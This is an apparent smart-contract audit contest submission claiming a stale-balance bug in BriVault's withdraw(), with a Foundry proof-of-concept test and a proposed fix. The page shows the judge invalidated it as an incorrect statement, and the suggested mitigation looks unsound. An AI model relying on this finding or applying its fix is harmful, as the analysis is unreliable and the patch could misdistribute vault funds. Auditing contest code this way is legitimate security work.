BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

Stale Balance Read in Winner Withdraw Logic

bugnetter

Root + Impact

Description

  • BriVault's withdraw() function uses a stale balance snapshot (finalizedVaultAsset) cached during setWinner() while totalWinnerShares remains dynamic, causing incorrect winner payout calculations when share transfers occur after winner declaration.

  • Root cause: withdraw() uses cached finalizedVaultAsset instead of current vault balance, leading to incorrect payout calculations when totalWinnerShares changes after winner declaration.

unction withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner))) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
@> uint256 vaultAsset = finalizedVaultAsset; // STALE BALANCE - cached at winner declaration!
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood: High

  • Share transfers after winner declaration would be likely and are standard ERC20 functionality.

Impact: High

  • Winners receive proportionally less than entitled due to diluted payout calculations

  • Excess funds become permanently orphaned in the vault contract

  • Protocol accounting becomes inconsistent with actual vault holdings

  • User trust eroded by incorrect tournament reward distributions

  • Attackers can manipulate share distributions to dilute legitimate winner payouts

Proof of Concept

The POC demonstrates how winner share transfers after winner declaration cause incorrect payout calculations due to stale balance snapshots. It shows that when setWinner() caches the vault balance but totalWinnerShares remains dynamic, subsequent share transfers create a mismatch between the cached balance and current share totals. The test verifies that legitimate winners receive reduced payouts while funds become permanently orphaned in the vault contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
/**
* PoC: Stale Balance Read in Winner Withdraw Logic
* Impact: Incorrect winner payouts and permanent fund orphaning
*
* Root Cause: withdraw() uses finalizedVaultAsset (stale snapshot) while totalWinnerShares
* remains dynamic, causing incorrect payout calculations when share transfers occur after setWinner().
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
​
contract StaleBalanceReadPoC is Test {
BriVault vault;
MockERC20 asset;
​
address owner = makeAddr("owner");
address winner1 = makeAddr("winner1");
address winner2 = makeAddr("winner2");
address attacker = makeAddr("attacker");
address feeRecipient = makeAddr("feeRecipient");
​
uint256 constant PARTICIPATION_FEE_BPS = 100; // 1%
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
​
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
​
asset = new MockERC20("Mock Token", "MOCK");
​
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
​
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
​
asset.mint(winner1, 1000 ether);
asset.mint(winner2, 1000 ether);
asset.mint(attacker, 1000 ether);
​
vm.startPrank(winner1);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
​
vm.startPrank(winner2);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
​
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
​
/**
* CRITICAL VULNERABILITY: Stale balance read causes incorrect winner payouts
*
* Attack Flow:
* 1. Winners deposit and join Brazil team
* 2. Owner declares Brazil as winner, caching vault balance
* 3. Winner transfers shares to attacker after winner declaration
* 4. totalWinnerShares changes but finalizedVaultAsset remains stale
* 5. Winner withdraws using incorrect calculation: (shares * staleBalance) / changedTotalShares
* 6. Winner receives less than entitled, funds orphaned
*/
function test_StaleBalanceReadAttack() public {
console.log("=== STALE BALANCE READ ATTACK ===");
​
// Phase 1: Winners deposit and join Brazil
vm.startPrank(winner1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, winner1);
vault.joinEvent(0); // Join Brazil
vm.stopPrank();
​
vm.startPrank(winner2);
vault.deposit(200 ether, winner2);
vault.joinEvent(0); // Join Brazil
vm.stopPrank();
​
uint256 winner1Shares = vault.balanceOf(winner1);
uint256 winner2Shares = vault.balanceOf(winner2);
​
// Phase 2: Set Brazil as winner - takes snapshots
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0); // Brazil wins
vm.stopPrank();
​
uint256 initialTotalWinnerShares = vault.totalWinnerShares();
uint256 finalizedVaultAsset = vault.finalizedVaultAsset();
​
console.log("Before share transfer:");
console.log("- Winner1 shares:", winner1Shares);
console.log("- Winner2 shares:", winner2Shares);
console.log("- Total winner shares:", initialTotalWinnerShares);
console.log("- Finalized vault asset:", finalizedVaultAsset);
​
// Phase 3: Winner1 transfers shares to attacker AFTER winner declaration
vm.startPrank(winner1);
vault.transfer(attacker, winner1Shares); // Transfer all shares to attacker
vm.stopPrank();
​
// Verify state after transfer
uint256 newWinner1Shares = vault.balanceOf(winner1);
uint256 attackerShares = vault.balanceOf(attacker);
uint256 newTotalWinnerShares = vault.totalWinnerShares();
​
console.log("After share transfer:");
console.log("- Winner1 shares:", newWinner1Shares);
console.log("- Attacker shares:", attackerShares);
console.log("- Winner2 shares:", vault.balanceOf(winner2));
console.log("- New total winner shares:", newTotalWinnerShares);
console.log("- Finalized vault asset (stale):", finalizedVaultAsset);
​
// Phase 4: Winner2 withdraws - gets incorrect payout due to stale balance
vm.startPrank(winner2);
uint256 balanceBefore = asset.balanceOf(winner2);
vault.withdraw();
uint256 balanceAfter = asset.balanceOf(winner2);
uint256 actualPayout = balanceAfter - balanceBefore;
vm.stopPrank();
​
// Calculate expected vs actual payout
uint256 expectedPayout = (winner2Shares * finalizedVaultAsset) / newTotalWinnerShares;
​
console.log("=== PAYOUT ANALYSIS ===");
console.log("- Winner2 shares:", winner2Shares);
console.log("- New total winner shares:", newTotalWinnerShares);
console.log("- Finalized vault asset:", finalizedVaultAsset);
console.log("- Expected payout (correct):", expectedPayout);
console.log("- Actual payout (wrong):", actualPayout);
​
// Winner1 tries to withdraw - has no shares
vm.startPrank(winner1);
uint256 winner1BalanceBefore = asset.balanceOf(winner1);
vault.withdraw(); // Succeeds but transfers 0
uint256 winner1BalanceAfter = asset.balanceOf(winner1);
vm.stopPrank();
​
assertEq(winner1BalanceAfter - winner1BalanceBefore, 0, "Winner1 gets 0 payout");
​
// Attacker cannot withdraw (no country mapping)
vm.startPrank(attacker);
vm.expectRevert(BriVault.didNotWin.selector);
vault.withdraw();
vm.stopPrank();
​
// Funds are incorrectly distributed
uint256 remainingFunds = asset.balanceOf(address(vault));
assertGt(remainingFunds, 0, "Funds orphaned due to stale balance read");
​
console.log("=== STALE BALANCE READ VULNERABILITY DEMONSTRATED ===");
console.log("- Winner2 received incorrect payout due to stale finalizedVaultAsset");
console.log("- Funds orphaned:", remainingFunds);
}
}
​

Recommended Mitigation

Modify withdraw() to use current vault balance instead of cached finalizedVaultAsset

- function withdraw() external winnerSet {
- if (block.timestamp < eventEndDate) {
- revert eventNotEnded();
- }
- if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner))) {
- revert didNotWin();
- }
- uint256 shares = balanceOf(msg.sender);
- uint256 vaultAsset = finalizedVaultAsset; // STALE BALANCE!
- uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
- _burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
- emit Withdraw(msg.sender, assetToWithdraw);
- }
+ function withdraw() external winnerSet {
+ if (block.timestamp < eventEndDate) {
+ revert eventNotEnded();
+ }
+ if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner))) {
+ revert didNotWin();
+ }
+ uint256 shares = balanceOf(msg.sender);
+ uint256 vaultAsset = IERC20(asset()).balanceOf(address(this)); // Use current balance
+ uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
+ _burn(msg.sender, shares);
+ IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
+ emit Withdraw(msg.sender, assetToWithdraw);
+ }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!